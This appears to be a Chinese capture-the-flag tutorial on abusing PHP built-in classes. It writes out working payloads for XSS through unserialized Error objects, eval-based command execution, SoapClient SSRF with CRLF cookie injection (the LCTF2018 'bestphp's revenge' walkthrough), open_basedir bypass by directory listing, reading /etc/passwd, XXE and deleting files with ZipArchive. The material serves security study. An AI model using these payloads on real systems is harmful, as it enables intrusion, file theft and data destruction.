PHP 原生类使用

· 2686 words · 6 minute read

PHP 常见原生类

Error/Exception类

SoapClient类

DirectoryIterator/FilesystemIterator类

SplFileObject类

SimpleXMLElement类

ZipArchive类

1. Error/Exception类的利用 🔗

Error XSS:

<?php  
echo unserialize($_GET['cmd']);  
?>

使用Error类可以用来弹xss:

<?php
$a=new Error("<script>alert('xss')</script>");
echo urlencode(serialize($a));
?>

得到:

O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A29%3A%22%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A29%3A%22D%3A%5Cphpstudy_pro%5CWWW%5Cerror.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D

将以上字符串赋给cmd就可以看到弹框:

alt text

Error 命令执行

<?php
$a = $_GET['a'];
$b = $_GET['b'];
eval("echo new $a($b());");
?>

此时通过传?a=Error&b=phpinfo就可以执行命令

alt text

2. SoapClient类的使用 🔗

SOAP 是一种简单的基于 XML 的协议,它使应用程序通过 HTTP 来交换信息。php中的soapClient类可以创建soap数据报文,与wsdl接口进行交互,而WSDL文件是描述SOAP服务的接口。

SoapClient类的构造函数如下:

public SoapClient :: SoapClient (mixed $wsdl [,array $options ])

第一个参数是用来指明是否是wsdl模式。

第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。

示例:

$a = new SoapClient(null,array('location'=>"http://127.0.0.1/flag.php",'uri'=>"123"));
echo urlencode(serialize($a));

bestphp‘revenge

知识点:

  1. session反序列化

  2. 原生类SoapClient的SSRF

  3. extract()变量覆盖

  4. CRLF

题目打开看到源码如下:

alt text

dirsearch扫描发现flag.php

alt text

于是访问:

alt text

提示要localhost,暗示ssrf,又有session,说明要用到session反序列化,利用php原生类实现ssrf。

现在来分析一下题目源码:

<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
    $_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>

思路:

  1. $b虽然已经给了初值,但能利用这行call_user_func($_GET['f'], $_POST);实现值覆盖。

  2. 利用session_start()指定php_serialize做序列化引擎,因为反序列化默认引擎是php,将ssrf序列化内容前加|后通过name就可以存储我们构造的session。

  3. 再看到这行call_user_func($b, $a);想到可以让$b覆盖为call_user_func,此时就变成call_user_func(call_user_func,array($_session,‘welcome_to_the_lctf2018’));,$session这个对象会去调用welcome_to_the_lctf2018这个不存在方法,触发call,服务器就会携带我们设置的cookie去访问flag.php。

构造ssrf内容:

<?php
$target = 'http://127.0.0.1/flag.php';
$b = new SoapClient(null,array('location'=>$target,
   	 'user_agent'=>"npfs\r\nCookie:PHPSESSID=123456\r\n",
   	 'uri'=>"http://127.0.0.1/"));
$se = serialize($b);
echo "|" . urlencode($se);
?>

浏览器打开得到如下字符串:

|O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A31%3A%22npfs%0D%0ACookie%3APHPSESSID%3D123456%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

指定序列化引擎:

alt text

利用extract函数覆盖b的值并修改cookie即可:

alt text

3. DirectoryIterator/FilesystemIterator类的使用 🔗

内置类的__toString方法可以获取字符串形式的文件名,再结合glob://file://协议,即可绕过open_basedir,实现目录遍历

示例:

<?php
highlight_file(__file__);
$dir = $_GET['cmd'];
$a = new DirectoryIterator($dir);
echo $a;

alt text

这样只能匹配一个文件,如果想遍历全部文件:

<?php
$dir = $_GET['cmd'];
$a = new DirectoryIterator($dir);
foreach($a as $f){
    echo ($f->__toString().'<br>');
}

alt text

payload一句话形式: $a = new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');}

FilesystemIterator类继承于DirectoryIterator类,所以两者作用和用法基本相同,区别在于FilesystemIterator会显示文件的完整路径,而DirectoryIterator只显示文件名:

alt text

4. SplFileObject类 🔗

读取文件的一行:

<?php
$context = new SplFileObject('/etc/passwd');
echo $context;

对每一行进行遍历:

<?php
$context = new SplFileObject('/etc/passwd');
foreach($context as $f){
    echo($f);
}

5. SimpleXMLElement类的使用 🔗

SimpleXMLElement 是PHP中处理XML的一种简便方式,适合处理简单的XML文档和进行基本的操作。

XXE(XML External Entity)攻击

由于SimpleXMLElement 类在处理XML数据时可能会加载外部实体,如果应用程序没有正确配置或过滤XML输入,攻击者就可以利用这一点来执行XXE攻击。

官方文档中对于SimpleXMLElement 类的构造方法 SimpleXMLElement::__construct 的定义如下:

alt text

alt text

第一个参数data就是我们自己设置的payload的url地址,即用于引入的外部实体的url,设置第三个参数为true可以进行远程xml文件载入,实现xxe攻击。

6. ZipArchive类的使用 🔗

ZipArchive类可以对文件进行压缩和解压

以下一些常见的类方法:

ZipArchive::addEmptyDir:添加一个新的文件目录

ZipArchive::addFile:将文件添加到指定zip压缩包中

ZipArchive::addFromString:添加新的文件同时将内容添加进去

ZipArchive::close:关闭ziparchive

ZipArchive::extractTo:将压缩包解压

ZipArchive::open:打开一个zip压缩包以供读取、写入或创建

ZipArchive::deleteIndex:删除压缩包中的某一个文件,

ZipArchive::deleteName:删除压缩包中的某一个文件名称,同时也将文件删除

重点看open方法:

ZipArchive::open ( string $filename , int $flags  ) : mixed

string $filename:表示要打开的 ZIP 文件的路径和文件名。

int $flags:第二个参数类型为整数,用于指定打开 ZIP 文件时使用的模式。这个参数可以是一个或多个 ZipArchive 类中定义的常量的组合:

ZipArchive::OVERWRITE:总是以一个新的压缩包开始,此模式下如果已经存在则会被覆盖或删除。
ZipArchive::CREATE:如果不存在则创建一个zip压缩包。
ZipArchive::RDONLY:只读模式打开压缩包。
ZipArchive::EXCL:如果压缩包已经存在,则出错。
ZipArchive::CHECKCONS:对压缩包执行额外的一致性检查,如果失败则显示错误。

注意,如果设置 flags 参数的值为 ZipArchive::OVERWRITE 的话,可以把指定文件删除。跟进方法可以看到 const OVERWRITE = 8,也就是将 OVERWRITE 定义为了常量8,我们在调用时也可以直接将 $flags 赋值为8。

也就是说我们可以利用 ZipArchive 原生类调用 open 方法删除目标主机上的文件:

$a = new ZipArchive();
$a->open('1.txt',ZipArchive::OVERWRITE);  
// ZipArchive::OVERWRITE:  总是以一个新的压缩包开始,此模式下如果已经存在则会被覆盖
// 因为没有保存,所以效果就是删除了1.txt

例题可以看这道:

https://blog.csdn.net/jvkyvly/article/details/115052002

参考:

https://drun1baby.top/2023/04/11/PHP-原生类学习/#0x07-使用-ZipArchive-类来删除文件

comments powered by Disqus